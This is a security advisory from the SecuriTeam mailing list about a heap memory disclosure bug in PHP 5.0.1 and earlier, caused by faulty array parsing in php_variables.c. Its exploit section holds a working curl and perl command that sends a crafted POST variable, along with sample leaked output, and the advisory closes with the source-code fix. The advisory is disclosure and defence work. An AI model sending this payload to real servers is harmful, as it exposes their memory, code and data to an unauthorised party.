The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
PHP Array Heap Content Disclosure
------------------------------------------------------------------------
SUMMARY
Due to bad array parsing in php_variables.c a remote attacker can cause
the PHP engine to disclose arbitrary memory content such as pieces of PHP
code and other data. This affects GET, POST or COOKIES variables.
DETAILS
Vulnerable Systems:
* PHP version 5.0.1 and prior
Immune Systems:
* PHP version 4.1.2 and prior
By appending to a GET/POST/COOKIE variable array a [ (open square bracket)
like abc[a][, the length of the 'a' array element is set to the length of
variable name strlen("abc").
Exploit:
$ curl "http://www.example.com/phpinfo.php"; -d `perl -e 'print
"f"x100;print "[g][=1"'`
where phpinfo.php is:
<?
phpinfo();
?>
or you can point to some PHP file containing print_r function:
<?
print_r($_REQUEST);
?>
Will result in the following content returning:
Array
(
[ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffff] => Array
(
[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0] => 1
)
)
As probably you might have noticed all the garbage shown is memory content
that could be anything.
Solution:
Authors were contacted and they released a fix for this problem.
The problem is easy to fix. Find and replace around line 136 for php 5.0.1
in main/php_variables.c
from:
index_len = var_len = strlen(var);
a
To:
index_len = var_len = strlen(index);
and recompile again.
ADDITIONAL INFORMATION
The information has been provided by <mailto:stefano.dipaola@wisec.it>
Stefano Di Paola.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
